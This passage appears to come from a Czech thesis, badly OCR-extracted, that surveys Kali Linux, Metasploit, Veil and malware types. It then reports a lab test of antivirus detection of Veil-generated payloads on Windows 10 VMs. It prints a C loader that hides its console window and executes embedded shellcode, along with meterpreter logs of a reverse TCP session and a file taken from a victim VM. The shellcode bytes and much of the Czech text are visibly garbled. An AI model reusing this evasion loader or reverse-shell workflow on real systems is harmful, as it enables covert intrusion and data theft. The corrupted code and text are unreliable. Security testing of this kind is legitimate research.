Sequencer, Decoder) pro penetracni testovani webovych aplikaci, skenovani, analyzovani a

exploitace webovych aplikaci. [29]

3.2.4 Odhalovani hesel
Hashcat — vice vlaknovy nastroj pro odhaleni hesel. Vyuziva cca 80 algoritmti k odhaleni hesel

a algoritmy jsou pocitany za pomoci CPU. [30]

Rainbowcrack — nastroj pro desifrovani hesel. Klasicky utok ,,brute force* porovnava heslo
s hesly v tabulkach, které jsou pii Gtoku piekladany a Sifrovany a tyto Sifry se poté porovnavaji
s pozadovanym heslem. Vyhodou tohoto nastroje je urychleni diky tomu, Ze hesla jsou jiz
pfedem Sifrovana a tento proces neprobiha v pribéhu provadeéni deSifrovani pozadovaného

hesla. [30]

John — dal$i z nastroju pro deSifrovani hesla. Vyhodou oproti ostatnim je to, ze dokaze

rozsifrovat az 40 druhu Sifrovacich algoritmi (MD5, DES, LM, NT atd.). [30]

3.2.5 Exploitacni nastroje
Mezi exploitacni nastroje patii zejména Metasploit, ale také Veil. Jsou jim vénovany kapitoly

435,

3.2.6 Sniffing a spoofing

Wireshark — velice oblibeny nastroj. Jedna se o protokolovy analyzér a paketovy sniffer
(zachytavaC paketil). Dokaze pracovat s vice jak 1000 protokoly. Uzivatelské prostiedi je
piehledné, takZze vyhledavani informaci v jednotlivych paketech je velice usnadnéno, a to i diky
moznosti podrobného filtrovani jednotlivych informaci. [31]

32



Ettercap — sada nastroji pro utok man-in-the-middle. Lze napt. piesmérovat komunikaci,
odhalit heslo pro FTP, HTTP, POP, SSH protokoly, nebo vytvofit falesny SSL certifikat, diky

némuz je znemoznén pristup obéti pies HTTPS. [32]

3.2.7 Ostatni nastroje
Intersect — nastroj pouzivany pro post-exploita¢ni ikony, kterymi jsou sbér a kopirovani hesel,
SSH kli¢h, sbér informaci o siti a také identifikace antivirového programu nebo firewall

aplikaci. [33]

Casefile — nastroj pro zaznamenavani, vytvafeni jakéhosi diagramu mySlenek pro lepsi

ptehlednost a grafickou piedstavu pfi testovani. [34]

Systémové nastroje — Kategorie obsahujici nastroje pouzivané V prib&éhu penetra¢niho

testovani: Metasploit, Apache sluzby, MySQL sluzby, SSH sluzby a dalsi sluzby. [35]

Existuji jesté dalsi kategorie a nastroje, které se nepouzivaji k penetraénimu testovani. Mezi né

patfi [35]:

e Bezdratové atoky — Gtoky na sité¢ Bluetooth, RFID/NFC a na bezdratové zafizeni.
e Reverzni inZenyrstvi — K odstranéni chyb v programu nebo Kk ziskani kodu
Z programu.
e ZatéZové testovani — pro otestovani sité, webu, VOIP prostiedi v zatéZi.
e Hardware hacking — nastroje pro praci s Andriod nebo Arduino aplikacemi.
¢ Forenzni nastroje — k vySetfovani, ziskavani image diskd, poskozenych dat, nebo
také analyze image pevného disku.
Kali Linux obsahuje v jednotlivych kategoriich mnohem vice nastroji, nez zde byly
vyjmenovany. Ostatné jedna se o systém, ktery dokéaze velice u€inné otestovat zranitelnost
jednoho zatizeni, nebo 1 celé sit€. MnoZstvi informaci k jednotlivym ndstrojim lze nalézt na

strankach oficialni dokumentace Kali Linux: http://docs.kali.org/, nebo http://tools.kali.org/.
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4 FRAMEWORK METASPLOIT
4.1 Charakteristika

Framework Metasploit byl vytvofen v programovacim jazyce Ruby. ZjednoduSuje praci
penetracnim testertim pfi rozsifovani nebo vytvareni novych plugind a nstroju. Je ptizptisoben,
jak pro praci v UNIX systémech, tak pro praci v systémech Windows ve spolupraci
s podpirnym prostfedim Cygwin, jenz napodobuje chovani UNIX systému. Zaroven
framework nabizi fadu doplnkd v mnoha jazykovych lokalizacich. Framework je mozné

ovladat 3 zpusoby: ptikazova fadka, webové rozhrani anebo GUI. [36]

Stavebné je framework rozdélen na 3 €asti: knihovny, rozhrani a moduly. Pro ucely testovani
antivirovych programu jsou dulezité predevsim rozhrani a moduly. Mezi moduly zahrnujeme
exploity — kody, které vyuzivaji zranitelnosti ciziho systému; payloads — malware, je bud’
soucasti exploitu, nebo oddéleny, jako nezavisld jednotka vykonavajici zadané piikazy na
cilovém systému; auxiliaries — sada nastroji uréena k odposlouchavani, skenovani napf. otiski
prsti; encoders — moduly uréené k znemoznéni odhaleni payloads antivirovymi programy;
NOP (No Operation nebo No Operation Performed) — jazyk symbolickych instrukci ptidanych

do payloads k zajisténi jejich konzistence. [36]

4.2 Ovladani frameworku

Prostiedi ptikazové fadky Metasploitu — MSF console vypada nasledovné. (viz Obrazek 4)

root@kali: ~ e ® O

Soubor Upravit Zobrazit Hledat Termindl MNapovéda

Jate: April 25, 18
Weather: /s cool in the 1

Press SPACE BAR to continue

Frustrated with proxy pivoting? Upgrade to layer-2 VPN pivoting with
Metasploit Pro -- learn more on http://rapid7.com/metasploit

=[m v4.13 /
--=[ 1613 exploits - 915 auxiliary - 279 post
--=[ 471 payloads - 39 encoders - 9 nops
--=[ Free Metasploit Pro trial: http://r-7.co/trymsp

]
]
]
]

Obrazek 4 — Metasploit — prikazovy Fadek (zdroj — vlastni)
K zobrazeni jednotlivych modulti se pouziva piikaz show nasledovany pozadovanym modulem.
Piehled moznych show ptikazl je popsan v nasledujicim seznamu (zdroj [37]):
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e show auxiliary — zobrazeni v§ech pomocnych moduli,

e show exploits — zobrazeni vSech dostupnych exploiti,

e show payloads — pti pouziti tohoto ptikazu dojde k zobrazeni vsech payloadi
dostupnych pro vSechny platformy — pokud bude tento ptikaz pouzit uvniti daného
exploitu, zobrazi se pouze kompatibilni payloady k tomuto exploitu,

e show encoders — zobrazeni vSech encoders (uréeno k Sifrovani, skryvani payloads),

e show nop — zobrazeni vSech dostupnych NOP generatort,

e show options — zobrazeni nastaveni pro urcity modul (auxiliary, exploits, payloads),

e show targets — zobrazeni takovych OS, které jsou zranitelné — pomaha vyselektovat
jenom zranitelné systémy,

e show advanced — zobrazeni vice nastaveni pro jesté lepsi vyuziti provadéni
exploitace.

Ostatni piikazy pro ovladani frameworku jsou obsazeny v této tabulce (Tabulka 4).

35



PRIKAZ
check

connect ip port
exploit

run

jobs

route add subnet
netmask sessionid

info module
set param value
setg param value

unset param value

Tabulka 4 — Piikazy pro ovladani frameworku Metasploit (zdroj [37])

POPIS

Ovéfeni, zda je cil zranitelny, aniz by
probéhla exploitace.

Pracuje stejné jako Netcat nebo Telnet
nastroje.

Spusténi vybraného exploitu.

Spusténi vybraného auxiliary.
Zobrazeni bézicich modull na pozadi a
moznost je ukoncit.

Ptidéani cesty skrze napadané zatizeni k
napadeni dalsiho zafizeni patfici do sité
ovladaného zatizeni.

Zobrazeni detailnich informaci
tykajicich se exploitu, auxiliary atd.
Nastaveni parametru v aktudlnim
modulu.

Nastaveni parametru na globalni, ktery
muze byt pouzit ostatnimi moduly.
Reset parametru. Piikazem unset all jsou

vSechny parametry vyresetovany.
Globalni dopad piikazu vyse.

Schopnost zobrazit cilové spojeni.

S pfepinacem -1 pro zobrazeni, s -1 pro
interakci a s -k pro ukonceni.
Vyhledavani napfic¢ vSemi moduly.
Vybér zvoleného modulu pro penetracni
testovani.

unsetg param
sessions

search string
use module

4.3 Priklady vyuziti
4.3.1 Meterpreter

Meterpreter je nastroj (dynamicky rozsifitelny payload) pro praci s napadenym zatizenim.
Nabizi jakousi vlastni ptikazovou fadku (shell), ktera ma vlastni sadu piikazt pro praci se

zafizenim.

Klasicka ptikazova fadka na jakékoli platformé je na této platforme zavisléd a pokud je spusténa,
tak se automaticky spousti novy proces v OS. Meterpreter to fesi jinym zplisobem. Donuti
existujici proces, aby do svého virtualniho adresniho prostoru zavedl DLL knihovnu, slouzici
jako server (tzv. DLL injection) a pro ni vytvofil nové vlakno. Zde poté piijima pozadavky od
klienta, kterym je konsole utocnika (MSF console). Pozadavky jsou zpracovany ve vlakné, v

némz bézi meterpreter, ¢ili funguje na principu klient-server. [38]
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Funkcionality meterpreteru lze rozSifovat za béhu. Meterpreter ma své vlastni API (Application
Programming Interface) tzn., Zze si kdokoliv miize vytvofit sviyj vlastni modul a ten nahrat do
ovladaného zafizeni, nebo i vytvofit vlastni skript a ten spustit. Napt. na OS Windows lze také

spustit libovolny kod, ktery je distribuovan jako DLL knihovna. [38]

4.3.2 SNMP scanner
Jeden z modulta frameworku Metasploit, vytvarejici Simple Network Management Protocol
(SNMP) tj. sitovy protokol, umoznujici pravidelny sbér dat. A diky nému je tak mozné

odposlouchéavat zatizeni na siti, sluzby bézici na siti, sitové adresy, verze, verze oprav atd. [39]

4.3.3 VNC scanner

Tento modul slouzi ke skenovani Virtual Network Computing (VNC) servert V urcitém
adresnim rozsahu. VNC servery slouzi ke vzdalené spraveé pocitace fungujici na principu klient-
server. VNC scanner tyto servery ovéfuje, a to z hlediska autentizace, zda je server dostupny,
nebo nikoliv. [40]
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5 FRAMEWORK VEIL

5.1 Strucna charakteristika
Framework Veil je sada bezpe¢nostnich nastroji obsahujicich rtizné metody ttoku, jez slouzi

k obelsténi cilovych systémt. Zahrnuje v sob¢ tyto nastroje [41]:

e Veil-Evasion — nastroj, slouzici ke generovani payloads, schopnych obejit
antivirovy program za pomoci riznych utocnych technik a za pomoci rtiznych
programovacich jazyku.

e Veil-Catapult — nastroj spolupracujici s Veil-Evasion, pomoci n€hoz se muze
vygenerovany payload dopravit na cilovy systém.

¢ Veil- Ordnance — nastroj umoznujici rychle vygenerovat validni shellcode
(kratky kod psany v assembleru), ktery slouzi jako nosné medium pro payload.

e Veil-PowerTools — sada nastroji obsahujici projekty ve skriptovacim jazyce
PowerShell (skriptovaci jazyk a shell od firmy Microsoft), ur¢ené a tvoiené pro
utocné operace.

e Veil-Pillage — framework slouzici k post-exploitaénim potiebam.

Specifictéjsi vyuziti nékterych téchto nastroju bude ptedstaveno v kapitole 7 tykajici se

praktického testovani.

5.2 Instalace jednotlivych nastroji
Jednotlivé nastroje frameworku Veil nejsou v Kali Linux ve vychozim nastaveni nainstalovany,

a proto je zapotiebi si tyto nastroje dostahnout a doinstalovat.

Veil-Evasion — tento nastroj mizeme do syst¢ému Kali Linux nainstalovat jednoduchym
piikazem apt-get install veil-evasion. Dobr¢ je jesté pied jeho instalaci aktualizovat databazi

balicku z repositait ptikazem apt-get update.

Veil-Catapult — podobné jako Veil-Evasion se nainstaluje piikazem apt-get install veil-

catapult a pted jeho instalaci je opét dobré aktualizovat databazi balickt z repositatu.

Veil-Ordnance — je nastroj, ktery staci stahnout ze stranek GitHub. K nalezeni pod timto

odkazem: https://github.com/Veil-Framework/Veil-Ordnance.

Veil-PowerTools — podobné jako u nastroje Veil-Ordnance lze celou sadu téchto nastroju
(PowerView, PowerPick, PowerUp, PowerBreach, PewPewPew) stahnout ze stranek GitHub

pod odkazem: https://github.com/PowerShellEmpire/PowerTools.
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Veil-Pillage — tento nastroj je také mozno najit na strankach GitHub pod odkazem:
https://github.com/Veil-Framework/Veil-Pillage.
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6 MALWARE

6.1 Co je to malware
Malware je Skodlivy kod, software. Neni nijak védecky urceno, jak se ktery malware nazyva.

Lze vSak urcit vlastnosti malware. Tyto vlastnosti jsou uvedeny Vv nasledujicim seznamu [42]:

e Samo-replikovatelny — takovy malware, ktery sam vytvaii kopie a rozsituje se dal
napf. po siti.

e Populaéni rist — uréuje pocet instanci vytvorenych pii sebe-replikaci.

e Parazitni — vyzaduje jiny spustitelny kod, na kterém parazituje.
6.2 Druhy malware
Malware je jakykoli typ Skodlivého software snazici se infikovat PC, tablet, mobil nebo jiné
zatizeni. Hackefi vyuzivaji malware pro rizné ucely: napf. k ziskdvani osobnich udaji, kradezi
penéz nebo firemnich dat, piipadné k ziskani pfistupu k napadenému zatizeni. Malware mize
napadnout zafizeni prostfednictvim internetu, vétSinou po stazeni jakéhokoli souboru
(fotografie, MP3, hra atd.), ktery ovladne pocita¢ uzivatele. V piipadé napadeni systému,

nékterym z typt malware, je dobré pouzit antivirovy systém k jeho odhaleni. [43]

6.2.1 Logic bomb

Skodlivy software skladajici se ze dvou &asti:

e Payload — akce, ktera se ma provést. Dulezité je, Ze ma skodlivy ucéinek.
e Trigger (spoust’) — provadi akci (payload) napf. na zaklad€ casu, prihlaseni uzivatele.
Také muze byt vytvoien tak, Ze je mozné jej spustit na dalku.
Logic bomb mize byt zakomponovan do néjakého spustitelného kodu, nebo muze existovat

jako samotny kod. [44]

Dopady logic bomb mohou zptisobit napt. smazani soubori v ramci jedné sité¢ konkrétni

spole¢nosti a tim i finanéni ztratu. [44]

6.2.2 Trojan horse

Trojan horse se tvaii, jako by délal neSkodné Cinnosti, ale tim jen skryva svoji Skodlivou
aktivitu. Krasnym piikladem je ptfihlasovaci formulatf. Uzivatel se dostane na ptihlasovaci
formulat, ktery se nijak nelisi od origindlniho formuléfe. Zada svoje piihlasovaci tidaje a vrati
se mu odezva s tim, Ze zadal $patné heslo. V domnéni, ze doslo k typografické chybé, zada

heslo jesté jednou, jenze tou dobou uz trojan ziskal uzivatelovi pfihlasovaci udaje. [44]
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6.2.3 Backdoor

Mechanismus obchazejici normalni bezpecnostni kontrolu. Programatoti si n¢kdy z jistych
davodi vytvaii takovato ,,zadni vratka®, napt. z davodu usetieni Casu pfi testovani. Prikladem
muze byt testovani systému s ptihlaSovanim, kde si programator ptimo v kodu zada, ze uzivatel
jistého hesla a jména ma vzdy povolen pfistup do systému. (Programator si nemusel vytvaret

zadného uzivatele pro ucely testovani a uSetfil ¢as.) [44]

Tento druh malware mutize byt zakomponovan bud’ do né&jakého funk¢éniho kodu, anebo muize

stejné jako logicka bomba existovat samostatné.

Jednim z typu backdoor je RAT (Remote Administration Tool nebo Remote Access Trojan).
Tyto programy jsou v PC uréeny k monitorovani a kontrole na dalku. Uzivatelé si takovy
program zamérné nainstaluji, kdyz potfebuji néjaky druh vzdalené podpory, anebo chtéji
pracovat z domu. Nicméné pokud je v RAT ukryt skodlivy kod, dokdze bez védomi uzivatele

oteviit zadni vratka pro piistup. [44]

6.2.4 Virus
Virus je malware (Skodlivy software), ktery se snazi sam sebe replikovat a navazat na jiny
spustitelny kod. V ptipade, Ze dojde ke spusténi napadené¢ho kodu, mluvime o infikovaném

kodu. A tento infikovany koéd mize nakazit dalsi a dalsi kody, proto mluvime o sebe-replikaci.

Prvni zminky o pocitaovém viru se objevuji v 70. letech 20. stol. ovSem pouze v literatute, a
to v Zanru science fiction (s virem se objevuje zminka 1 o antiviru). Prvni akademicky vyzkum

virti probéhl v roce 1983, provedeny Fredem Cohenem. [44]

Obycejné je v dnesni dobé vir Sifen bud’ v ramci jednoho pocitace, nebo mezi n€kolika pocitaci
napt. s pouzitim USB flash diskd, CD/DVD médii, internetu atd. Vir se mize v pribéhu sebe-

replikace nachazet v té€chto stavech [44]:

e Zarode¢ny — origindlni forma viru, diraz hlavné na replikaci.

e Oddany — virus, ve kterém se nachazi chyba a neni schopen replikace.

e Spici — pfitomny v systému, ale doposud nic neinfikoval.
6.2.5 Worm
Sdili nékolik charakteristik s viry. Jednou z nich je, Ze je samo-replikovatelny. Rozdilem je, ze
worm existuje sam o sob¢, neni zavisly na jiném spustitelném koédu. Druhym rozdilem a

dilezitou charakteristikou worm je, Ze se §ifi ze stroje na stroj po siti. [44]

41



6.2.6 Rabbit

Malware, ktery se mnozi exponencialni rychlosti. Existuji dva typy tohoto malware. Prvni typ
zpusobuje maximalni Cerpani systémovych zdroja, stejné jako mista na disku. Program tzv. fork
bomb (volny pieklad: ,,vétvici se bomba‘) spousti uméle vytvorené procesy v nekone¢ném
cyklu. Maji tendenci po sobé zanechavat stopy. Druhym typem rabbit je malware podobny
Leervu® (worm). Je samostatnym kdédem Sificim se po siti, ktery maze originalni kopii po

replikaci. Neboli, na siti je vzdy pouze jedna kopie malware $ifici se z PC na PC. [44]

6.2.7 Spyware

Spyware je software, ktery sbira citliva data a posila je dal nékomu dal$imu. Typicky jsou to
uzivatelskd jména, hesla, emailové adresy (mohou byt poté vyuzity pro spam), bankovni ucty,
softwarové licence a dalsi. Viry a ,,Cervi® shromazduji stejnd data, ovSem spyware se sdm
nereplikuje a do systému se dostane bud’ s instalaci néjakého jiného softwaru, exploitaci pies

webovy prohlize¢, nebo navstivenim infikovanych webovych stranek. [44]

6.2.8 Adware
Adware ma mnoho spole¢ného se spyware, protoze sbira data o uzivatelich a jejich zvycich. Je
pouzivan hlavné z marketingovych diivodi a to napt. formou vyskakovacich oken s reklamami

na webovych strankach. [44]

6.2.9 Ostatni malware

Malware by se mohl rozliSovat a rozd¢lovat do mnoha dalSich kategorii. Mezi nevypsané typy
malware muze patfit hybrid malware — spojujici vice druhtt malware do jednoho, dropper —
zanechava za sebou, ,,ukapava“ jiny malware, zombie — pocita¢ vyuzivany uto¢nikem napft. ke

spamovani. [44]

Vzhledem k aktualni situaci na poli bezpecnosti v IT s velkou ur€itosti existuji mnohem

sofistikovangjsi typy malware, o nichZ svét prozatim nemusel ani slySet.
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7 PRUBEH A ZKOUMANI ANTIVIROVYCH PROGRAMU

7.1 Pouzité technologie

Ke zkoumani a testovani antivirovych programt byly vyuzity 2 PC. Prvnim z PC byl notebook
znaCky HP konkrétné typ Probook 450, kde byl nasazen do virtualniho prostiedi, VMware
Workstation 11.0.0, Kali Linux (32bitova verze) s obéma frameworky Metasploit a Veil. Druhé
PC mélo konfiguraci: procesor — AMD Phenom Il X4 965, opera¢ni pamét — 4x2 GB DDR3,
graficka karta — MSI GTX 660. Na tomto druhém PC bylo ve VMware Workstation 11.0.0
nainstalovano 6 systémi Windows 10 Pro x64, na kterych byly nainstalovany jednotlivé
antivirové programy. PrenaSeni payloadli v komprimované form¢é zip na cilovy systém
probihalo za pomoci flash disku ADATA 32 GB. Na obrazku (Obrazek 5) je zobrazena

topologie sité, kterd poslouzila k testovani.

- M

Virtual P{ - Avast

Kali Linux

Fyzické PC

Fyzicky NB

Virtual PC — Avira

Virtual PC -
Windows
Defender

g]

Virtual PC — Panda

Virtual PC —
Bitdefender

Obrazek 5 — Topologie sité pro testovani (zdroj — vlastni)
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7.2 Scénar 1

Prvni scénaf testujici jednotlivé antivirové programy, vyuziva model komunikace klient—server
(pro komunikaci je na ovladnutném systému otevien port na némz poté probihd komunikace).
Nejprve byl vygenerovan payload ve frameworku Veil-Evasion, konkrétné v jazyce C. Po
kompilaci zdrojového kodu vznikl spustitelny soubor myfile.exe, ktery byl postupné nasazovan
do jednotlivych systémi za pomoci USB flash disku. Ve frameworku metasploit byl spustén
exploit multi/handler, vystupujici jako server, ktery ¢ekal, az myfile.exe otevie domluveny port
a do cilového systému zavede meterpreter. V piipadg€, ze myfile.exe nebyl detekovan antivirem,

bylo spojeni navazano a server (meterpreter) mohl jakkoli ovladat cilové zatizeni.

7.2.1 Avast

Antivirovy program Avast bez problému detekoval, Zze myfile.exe je hrozbou pro systém. A to
jiz pti extrahovani slozky s timto souborem. Avast soubor okamzité¢ zablokoval a informoval
uzivatele. (Obrazek 6)

| |+ ol Mastroje komprimované sloZky

= | file - [m|
Soubor Domi sdileni Zobrazeni
1T » Tento poéitaé » Plocha » file v | D Prohledat: file
~
Nazev Datum zmény Typ Velikost

7 Rychly pfistup

[ Plocha Slozka je prazdna.
‘ Stafené soubory

5| Dokumnenty

=| Obrazky

D Hudba

& OneDrive ‘qvqst

[ Tento pocitaé L\\)
Zabkkovina hrozba

- (E)
o sit Objekt

o Domaci skupina
Infekce
Winzz:Malware-gen
Proces

Chwindowsiexplorer.exe

Hrozba byla detekovana a zablokovana pred otevienim
souboru.

Pocet poloZek: 0 Mahlasit soubor jake falesny poplach

Provéfi cely poditaé a zjisti mozné problémy

Obrazek 6 — Detekce hrozby — scénar 1 — Avast (zdroj — vlastni)
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7.2.2 AVG
AVG podobné jako Avast bez problému identifikovalo hrozbu, a to stejnym zplisobem, takze

uz pii extrahovani slozky s infikovanym souborem tento soubor zneSkodnilo a opét oznamilo

uzivateli, co se se souborem stalo. (Obrazek 7)

"

Kopirovani 1 polozky ze slozky file do slozky file
Dokonceno 84 %

Dalsi podrobnosti

¥4 AVG AntiVirus Free

Hrozba byla uzam¢ena!
Tento soubor jsme bezpeéné uzamkli v karanténé.

L3

Win32:Malware-gen
v C:\Users\BCPC1\Desktop\file\myfile.exe
Q C:\Windows\explorer.exe

o
Pomocnik pfi St RS SR S
P Mozna na vas ¢ihaji dalsi hrozby!

013
A 5000 B

Obrazek 7 — Detekce hrozby — scénai 1 — AVG (zdroj — vlastni)
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7.2.3 Avira
Stejnych vysledku jako AVG a Avast dosahla i Avira. (Obrazek 8)

Sdileni Zobrazeni

A || > Tentopoéitzé > Plocha > file v & | Prohledat file »

Nazev Datum zmény Typ Velikost
# Rychly piistup
[ Plocha Slozka je prazdna.
I Stazené soubory
| Dokumenty
=] Obrézky
B Hudba
B videa
& OneDrive
T Tente poéitad
= ()

# st _

AVIRA

Security Alert

n Date/Time: 25.03.2017, 17:14:53

Type: Detection
Access to file

C: \Users\BCPC1\Deskiop\fle ymyfie. exe’
containing the pattern of TR /Taranis. 2365
wzs blocked.

We moved the fle to quarantine

et poloZek: 0 If you are unsure, ask the community or get
ive help from Avira Support.

GO to Avira Support

Obrazek 8 — Detekce hrozby — scénar 1 — Avira (zdroj — vlastni)

7.2.4 Bitdefender
| Bitdefender identifikoval myfile.exe jako hrozbu, tuto hrozbu odstranil a informoval o tom
uzivatele. (Obrazek 9)

= | file
Domi sdileni Zobrazeni
1T » file ~ O Prohledat: file

Daturn zmény

st Rychly pfistup
I Plocha Slozka je prézdné

I Statené soubory

] Dokumenty
=] Obrazky
) Hudba
B videa

@ OneDrive

[ Tento poéitad

= Jednotka USB (E)

ok sit

Pocet poloiek: 0

On-access scan

B

Obrazek 9 — Detekce hrozby — scénaf 1 — Bitdefender (zdroj — vlastni)
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7.2.5 Windows Defender

Antivir Defender nepovazoval myfile.exe za jakoukoli hrozbu. I po manualni kontrole
detekoval, ze je vSe v poradku. Soubor myfile.exe proto mohl byt spustén a mohlo byt navazano

spojeni. (Obrazek 10)

[#] Started reverse TCP handler on 192.168.10.144:4444
[*] Starting the payload handler...
[*] Sending stage (957487 bytes) to 192.168.10.158

[*] Meterpreter session 1 opened (192.168.10.144:4444 -> 192.168.10.158:50079) at
2017-03-24 23:30:14 +0100

Obrazek 10 — PFripojeni meterpreter — scénar 1 — Windows Defender (zdroj — vlastni)

Pro ukazku byl na systém s Windows Defender nahran textovy soubor text.txt do Dukumentt

(Obrazek 11), s textem uvniti: ,,Soubor s textem!*“. Realizovano ptikazem upload v msfconsole.

Domi Sdileni Zobrazeni

« A~ [& » Tentopocitac » Dokumenty v | L Prohledat: Dokument,

MNazev Datum zmény Typ Velikost
3 Rychly piistup
[ Plocha
& Stazené soubory ) text - Pozndmkovy blok
| Dokumenty
| Obrazky
D Hudba
B Videa I

= text 24,03.2017 23:35 Textovy dokument 1kB

Soubor Upravy Format Zobrazeni MNépovéda

Soubor s textem!

fa OneDrive
[ Tento poéitad

= sit

o, Doméci skupina

ofet polodeke 1 Podet vybrang

o 2350
AR o B

Obrazek 11 — Soubor na cilovém systému — scénaf 1 — Windows Defender (zdroj — vlastni)

47



7.2.6 Panda
Antivir Panda vySel ztestu obdobné jako Windows Defender, protoze myfile.exe opét

povazoval za neSkodny soubor. (Obrazek 12)

Nastroje aplikace

Soubor Domd Sdileni Zobrazeni Sprava

N > file

Tento pocitac
st Rychly pristup
22 I Plocha
E ‘ Stazené soubory
. =| Dokumenty
Drazk, R

Kos

y &
7] , o
Panda Donek //

Protection

0 Scanned (\ 100% \

0 Detected

- Detailed report \/
o+
Pomocnik pii
upgradu na...

- 4 22:09
- - ~ ) 25.03.2017 B

Obrazek 12 — Hrozba neidentifikovana — scénaf 1 — Panda (zdroj — vlastni)

Opét bylo jednoduse navazano spojeni s Windows 10 s antivirem Panda a pro ukazku byl stazen
vytvofeny soubor (na Windows) data.txt (Obrazek 13) na server, resp. Kali Linux
(Obrazek 14).
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Soubor LTI Sdileni Zobrazeni

v 4 [ » Tentopoditac » Dokumenty Prohledat: Dokument
Mazev Datum zmény Typ Velikost
7 Rychly pfistup

Ploch |=| data 5.03.2017 22:10 Textovy dokument
acha *

] data - Poznamkovy blok - O x

Soubor l]pra\ry Formdt Zobrazeni Napovéda
Eoubor plny dat!

Obrazek 13 — Vytvoreny soubor — scénaf 1 — Panda (zdroj — vlastni)

Otevit ~ || @ data bt [ ozt [[=| @ @ ©

/Plocha

Soubor plny dat 1|

data.txt

Prosty text w  Sitka tabulatoru: 8 w 1,517
meterpreter > ls
Listing: C:\Users\BCPC1\Documents

Mode Size Type Last modified Name

40777/ rwxrwxrwx 0 dir -03-20 16:02:50 Filmy
40777/ rwxrwxrwx 0 dir -03-20 16:02:50 Hudba
40777/ rwxrwxrwx 0 dir -03-20 16:02:50 Obrazky
100666/ rw-rw-rw- 16 fil -03-25 22:10:44 data.txt
100666/ rw-rw-rw- 402  fil -03-21 22:15:35 desktop.ini

meterpreter > download data.txt /root/Plocha

[*] downloading: data.txt -> /root/Plocha/data.txt
[*] download : data.txt -> /root/Plocha/data.txt
meterpreter > exit

[*] Shutting down Meterpreter...

/ /7

Obrazek 14 — StaZeny soubor — scénaf 1 — Panda (zdroj — vlastni)
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7.3 Scénar 2

Ve druhém scénaii byl pouzit Veil-Ordnance k vygenerovani shellcode (Obrazek 15).
Vygenerovany shellcode byl ptfidan do kodu napsaného v jazyce C a poté zkompilovan do
spustitelného souboru pro platformy Windows. Opét se jedna o spojeni klient—server (tizené
pomoci frameworku metasploit, resp. piikazovym fadkem meterpreter), soubor byl

pojmenovan jako shellcode.exe (na cilové systémy byl opét pfenaSen vV komprimované formeé

zip).

. shellcode.c : -
Oteviit «~ || B . Ulozit = @ ® O

"1315"
"4495"
"6ole"
"3321"
"78e7"
"1686"
"4415"
"185"

"8436"
"9204"
"4786"
"844"

'2802"
"3087"
"2964"
"4468"

unsigned char micro[]=
"\xeb\x18\x5e\x8d\x3e\x31\xcO\x31\xdb\x8a\x1c\x06\x8O\x Tb\x02\x 74\ x0e\x80\x F3\x15\x88\x1F\x47
\ x40\ xeb\xef\xe8\xe3\ X FFI\XF A\ T FAxeO\xFd\ x93\ x 15\ x 15 \x 15\ X 75\ x9c \ x TO\ X 24\ xc T\ x 71\ x9e\ x4 7\ x25
W02\ x4 7\ x19\x0e \x47\x01\x9e\x6 7\ x3d\x1a\xa2\ x5\ x33\x2M\ xea\ x24\ xd5\ xb9\ x 29\ x 74\ x69\ x 17\ x39
W35\ xd4\xdar\x 18\ x 14\ xd2\x T 7\ xe5\ x4 T\ x42\x0e\ x4 7\ %05\ x0e\x 57\ x20\ x0e\ x59\ x05\ x6d\ x T6\x5T\x 14
AxcAN A4\ x9er\ x4\ X35\ x 14N X B\ x9e \ x5\ x0d\ X TB\X29\ x5\ x0e\x2 1\ x9e \ x 14\ xc3\ x 24\ xea\ x24\ xd5\ xb9
\xdd\xdahx18\x 14\ xd2\x2d\x F5\x60\ xe 1\ x16\x68\ xed\x2e\x68\x3 1\ x60\ x T7\ x4d\ x9e\x4d\ x31\x14\xcb
Ax73\x9e\x 194 x5e\ x9e\ x4d\ x09\ x 14\ x O\ x9e\x 11\ x9e\ x 14\ xc5\x9cA x5 1\ x3 1\ x3 1\ xde \ xde\ xT4\ xdc\ x4 T
\xdd\xea\x O\ x4d\ xda\ x4 T\ x9e\x0 7\ x Fe\x9c\x48\x7d\x26\x27\x 15\ x 15\ x 7d\ x62 \ x66\ x 27\ xda\ x4 1\ x7d
W59\ x62\x33\x12\ xea \ xc@\xad\ x85\ x 14\ x 15\ x 15\ x 3\ xd 1\ x4 1\ x45\x7d\ x3c\x95\ x7e\x 15\ xea\ xcO\x45
A4S\ XA\ 45N x50\ x40\ x55\ x 45\ xTd\ x FFAx1la\xca\x o\ xea\xcO\x82\x7 T\ x1c\x7d\xd5\xbd\x 1T\ x85\x7d
AITAXISNXOAN x4\ XA X TINXT FAXO5 \ x4 3N\ x 42\ xTd\ x 8\ xbO\x6 1\ x 74\ xea \ xcO\x90 \ xd5\ x61\ x19\ xea\ x5h
Wx1di\x60\x T\ x7d\xe5\xa0\xb7\x43\ xea\xcO\X7F\X 15\ X7 FAx11\x43\ x4 2\ x7d\x17\xcc\xdd\xda\xea\xcod
W x9e\x23\x 7 FAx55\x7d\x 15\ x05\x 15\ x 15\ x43\x 7 F\x 15\ x7d\ x4d\xb1\ x46\x TO\ xea\xcO\x86\x46\x7T\x15
\xd3\xdo\xd2\x7d\x17\xcchxdd\xda\xea\xcO\x 14\ xd6\x3c\ xd3\ x990\ xe3\x60\x O\ xdb\x02"

int main(void) {

HWND hWnd = GetConsoleWindow();

ShowWindow( hWnd. SW HIDE ):((void (*)()Imicro)():}
C w Sitka tabulator: 8 w i1,sl19 * VKL

Obriazek 15 — Ukazka kédu s shellcode v jazyce C (zdroj — vlastni)
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7.3.1 Avast

Antivir Avast nemé¢l opét nejmensi problém s tim detekovat shellcode.exe jako hrozici

nebezpeci, ale tentokrat umoznil uzivateli se pokusit spustit shellcode.exe. (Obrazek 16)

B Néstrc{,\\?fpnxam
m Domd  sdileni  Zobrazeni Sprava e
A [ > Tentopoéitaé > Plocha > shellcode v|@| | Prohledat: shellcode »
Nazev Datum zmény Typ Velikost
s Rychly piistup
= Ploch [ shellcode 30.03.2017 12:28 Aplikace 31 kB
ocha
3 Stazené soubory

2] Dokumenty
[ Obrézky
J Hudba
Videa
7@ OneDrive
[ Tento poéitat
= Jednotka USE (E)

J avast
ok sit

Pozor, tento soubor miize obsshovat néco
L skodlivého.
*& Domaci skupina kadiivého.

Spoustime krétiy patnactisekundavy test pro
odnhaleni skodliveho kodu
Potetpoloiek: 1 Pocet vybranych poloek: 1; 309 kB

Zrusit

Obrazek 16 — Detekce hrozby p¥i spusténi — scénai 2 — Avast (zdroj — vlastni)

7.3.2 AVG

AVG se zachovalo uplné stejné jako Avast, zobrazilo i stejné dialogové okno. Projevilo se zde
